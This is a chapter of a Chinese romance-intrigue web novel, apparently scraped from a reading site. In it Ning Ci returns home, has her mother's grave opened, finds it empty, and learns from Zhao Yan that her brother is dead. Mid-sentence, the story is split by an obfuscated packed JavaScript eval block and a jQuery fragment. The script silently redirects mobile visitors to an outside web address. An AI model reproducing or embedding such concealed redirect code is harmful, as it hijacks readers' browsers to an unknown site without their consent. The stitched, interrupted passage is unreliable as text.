日与月在呼啸风声中悄然地完成了更替,东方天际,旭日初升,宁辞按下疑虑,翻身下了马。
“怎么是你。”她环顾四周,发现昭宴带了不少人,居高临下道:“你为什么会来?”
她身上还带着风和泥土的气息,望向他的双眸暗波流动,情绪翻涌。
然而昭宴对她冷漠的态度视若无睹,自顾自地替她系上了事先准备好的披风,关切道:“没受伤吧?”
宁辞在他的注视下摇了摇头,又将视线落到马车上。
她松了松手腕,道:“里面是祁灼?”
在得到肯定的回答后,宁辞表情变了又变,最后无奈道:“绑他作什么,怕我不跟你走?”
“你误会了。”
“我误会什么,连林珂都被你骗得团团转,昭宴,你可真是不择手段。”宁辞在看到等候在这里的人是昭宴时,就明白他做了什么,事先买通她手下的人,千里迢迢翻山越岭而来,还真是大费周章。
“我只是担心你。”昭宴辩解道。
“我不需要,你进宫的时候我们说过的,从此恩断义绝,难道太傅大人忘了吗?”
昭宴不动声色地握紧了拳头,长长的叹息后又无奈的放下。
“不管你信不信,我来都只是为了保护你。”
宁辞信,但她不会领这个情。
“随便你。”
她直奔马车而去,掀开车帘,祁灼瘦削的面庞映入眼帘,他还在睡梦之中,也可能中了迷药,宁辞低声喊了他的名字,他听到声响没有什么反应。
宁辞没有多做停留,重新回到马上,道:“走吧。”
一行人轻装上路,直奔大昭的方向,她回望了一眼渐远的大凉,那里其实什么眷恋都没有,但她自然而然地想到了谢谙,不知道谢谙发现她离开会是什么反应。
毕竟,她昨日刚刚答应过对方,会等他,给他时间。
前方群山环绕,青色峰峦与朝霞相接,将远方云端涂抹的无比绚烂,马蹄踏过水洼,掀起无数水花。
她侧头看向与自己并肩前进的昭宴,目光幽深,嘲弄道:“你和谢谙还有联系?”
昭宴深深地看了她一眼,转过头不吭声,宁辞了解昭宴,他这个人不擅长撒谎,不回答的就等同于默认。
没想到,他们二人还在私下来往,昭宴真是不要命了,谢谙如今是敌国的将军,他不怕有朝一日事情败露被扣上一顶通敌的帽子吗?
还是说昭宴如今的权力已经到了只手遮天的地步,才让他如此肆无忌惮。
宁辞没有继续深想,又接着道:“你吊唁过我母亲了。”
她用的是肯定的语气,因为昭宴不是知恩不报的人,他自小在府里长大,母亲向来待他不薄,于情于理他都要去祭奠一番。
昭宴的眼中划过一抹悲伤,安抚道:“节哀。”
他还和以前一样,安慰起人来还是那么生硬,这几年倒也是没什么长进。说他无情,今夜他没必要冒这么大的风险来,说他有情,那当初扔下她一个人进了宫的人又是他无疑。
宁辞这个人最厌恶谎言和欺骗,你不肯说她也不会一遍遍去问,她虽然看起来满不在乎却早已经在心中把对方凌迟了千万遍。
谢谙失踪的那段时间,宁辞状态本就不佳,昭宴偏偏在那个时候选择进宫,在她父亲的帮助下直上青云。
她在双重打击下备感心寒,为此还与父亲大吵一架,她知道这肯定不是昭宴自己做出的决定,但是没有人告知自己,把她瞒在鼓里。
她心中有怨,在昭宴离开那日,放了狠话,称二人再无瓜葛,此生不复相见。
她负气上了昆仑,那时未曾想过还能有再见的一天。
宁辞回过神来,温柔的拍了拍马背后甩下一记重鞭,扬长而去。
归乡的路,归家的路,心境总是不同的,但只要一想到,家中已无人等候,便悲从中来。
天越来越亮了,他们出了山路,拐上了一条官路,道路两旁,竹影婆娑,风一吹过,沙沙作响。
另一边,谢谙带了三千黑鹰卫,追了整夜,出城时面前有两条路。
裴寂侧身看他,似乎很好奇他要怎么选,他表现的很淡定,看起来并没有受到什么影响,没有人知道谢谙在想什么,包括此刻的他自己。
人都有软肋,谢谙也不例外,只要是宁辞的事,他就不能不管。
半晌,他对着众人命令道:“这边,加速。”
他果断选择绕了路,一条荆棘丛生的、看起来就无人行过的路。
裴寂听到他的指令,意味不明的笑了,“你打算就这样放她走了?”
谢谙:“不然呢,还能抓回去不成?”
“动静搞得这样大,你回去可不好交代。”裴寂感慨起来,“这真不像你啊!”
谢谙是什么人,公认的阎王,手下留情这几个字放在他身上就是最大的不合理。
可那个人是宁辞,一切又都合理了。
情之一字,大忌。管你是英雄还是小人,天子还是平民,沾染上了,就不得不在苦海中翻滚,不得解脱。
黑鹰卫的每一个人都着黑甲,胸甲上刻着一只展翅的鹰,鹰爪锋利,鹰眼处嵌入宝石,犀利的光芒被太阳反射出来,其中的杀意让人不寒而栗。
谢谙越过黑漆漆的一排人,将视线放的越来越远,直到眼前的景象越来越模糊。
水远山高,千里之外,她能否如愿?
宁辞一行人快马加鞭赶了三日的路,终于到了大昭的地界,昭宴的令牌让她一路上畅通无阻,等到了熟悉的长街,宁辞把马扔给昭宴,从后门闪身进了宁府。
宁府还在那里,雕栏玉砌都不曾改变,但只剩下一副空壳子,物是人非,信中宁轻音说家仆全部遣散了,如今看来确实如此。
青石板上,因雨水潮湿生了不少青苔。泥土里喷薄而出的绿,生机盎然,与松柏棺木的死意形成了鲜明的对比,
她看到了为母亲所设的灵堂,堂前的桌上,摆着香烛还有长明灯,祠堂里新添了母亲的排位。
她跪下深深叩了一拜,眼中一滴泪在眼眶打转,倔强的不肯落下。
母亲的音容笑貌还在脑海,她真的无法想象那个温暖的人如今已经变成了冰冷的尸体。
宁辞起身缓慢的,一步一步向棺木走过去,里面并没有尸体,师门的人第一时间接走了阿姐,想来母亲已经入葬。
虽然殡期未过于理不合,但对于如今的宁家已经不重要了。
宁辞在灵堂待了小半个时辰,心情平复好后找到了母亲下葬的清幽谷,这里是她母亲生前常来的山庄。
昭宴不放心她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519180|142313||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的状态一路尾随,虽然他戴了斗笠,宁辞依旧一眼认出来了,她没有理会,默认了他的陪同。
崔氏的石碑前,宁辞跪在地上,静默良久。
“出来吧。”
昭宴坦然地走了出来上前祭拜,正要说点什么,宁辞忽然撑着剑起身。腿有些麻,她一下没站稳,身形一晃,昭宴连忙递过去一只手,道:“你…”
“不用安慰我,帮我办点事。”宁辞突然打断了他,面色如冰,周身散发着极冷的寒意。
不等昭宴问出什么事,只听她说:“我要开棺。”
昭宴望过去,宁辞的面上阴恻恻的,让人看不透,她的眼中如有一汪寒潭,只要对视,就能冻结心跳。
他眉心微动,下意识就同意了她,“嗯。”
昭宴刚说完就立刻反应过来不妥之处,开棺?这是大不孝,除非…他想到了宁辞这么做的用意,面色凝重起来,难道真的有异?
他听从宁辞的话,即刻动了手,金色长枪如苍龙气吞山河,在坠下的一瞬间,周遭的大地四分五裂,裂出一条深深的缝隙,深埋地底的棺木清晰的浮现在了二人眼前。
昭宴手腕一动,利落的收回长枪,整个人凑近了棺木。
打开的瞬间,昭宴眼中惊愕顿现。
里面空空荡荡,没有人,只有堆叠整齐的一套衣物。
崔氏下葬的时候,他是亲眼所见的,那么,是谁在他的眼皮子底下动的手,演了这么一出?
果不其然,宁辞虽然早有预料,此刻仍是难掩愤怒,好,很好。
为什么要杀她母亲,她母亲只是一介弱女子,根本构不成什么威胁,只能是一个原因,那就是———灭口!
母亲一定是知道了什么秘密,她的母亲虽然深爱父亲,却也断然不会因此抛下他们不管。
是皇帝,大昭的那位皇帝——周王李徵!
最初听说母亲自杀的消息,宁辞被悲痛淹没没有及时反应过来,过后她便总觉得哪里不对劲,这件事情发生的太过突然,一点预兆也没有,实在蹊跷。
回程路上,她想了无数种可能性,最终锁定了周王,让阿姐和亲摆明了是调虎离山,自始至终周王都没有想让阿姐去的意思,他定的人选一直是自己。
父亲战死,她必然会下山奔丧,也势必会对父亲的死产生怀疑进而调查。为了让她离开,周王下了这么一道圣旨,因为周王知道,她定会为了姐姐替嫁,她一走,宁家就成了掌中之物。
可笑宁家世代忠良,就落得这般结局,这就是功高盖主的下场吗?
为了掩盖真相,竟然连弱女子也不放过,宁辞对大昭深深的失望了,她在昭宴不可置信的目光下拔剑指向了他。
“昭宴,迟安是不是出事了?”
弟弟虽然年纪小,但手中还握有兵权,宁家掌兵多年,衷心的部下也不少。
只有弟弟出事了,他们才敢动母亲,因为在他们的认知里,宁迟安代表宁家的希望。
剑尖抵着昭宴的咽喉,他丝毫未动。
宁辞突兀的笑了,笑容无比凄凉。她将剑一横,抵上了自己的脖颈。
“昭宴,告诉我,我弟弟他怎么了?”
昭宴的目光闪躲,最终还是不忍见她这副样子,压低声音说出了真相。
“宁迟安…他已经死了。”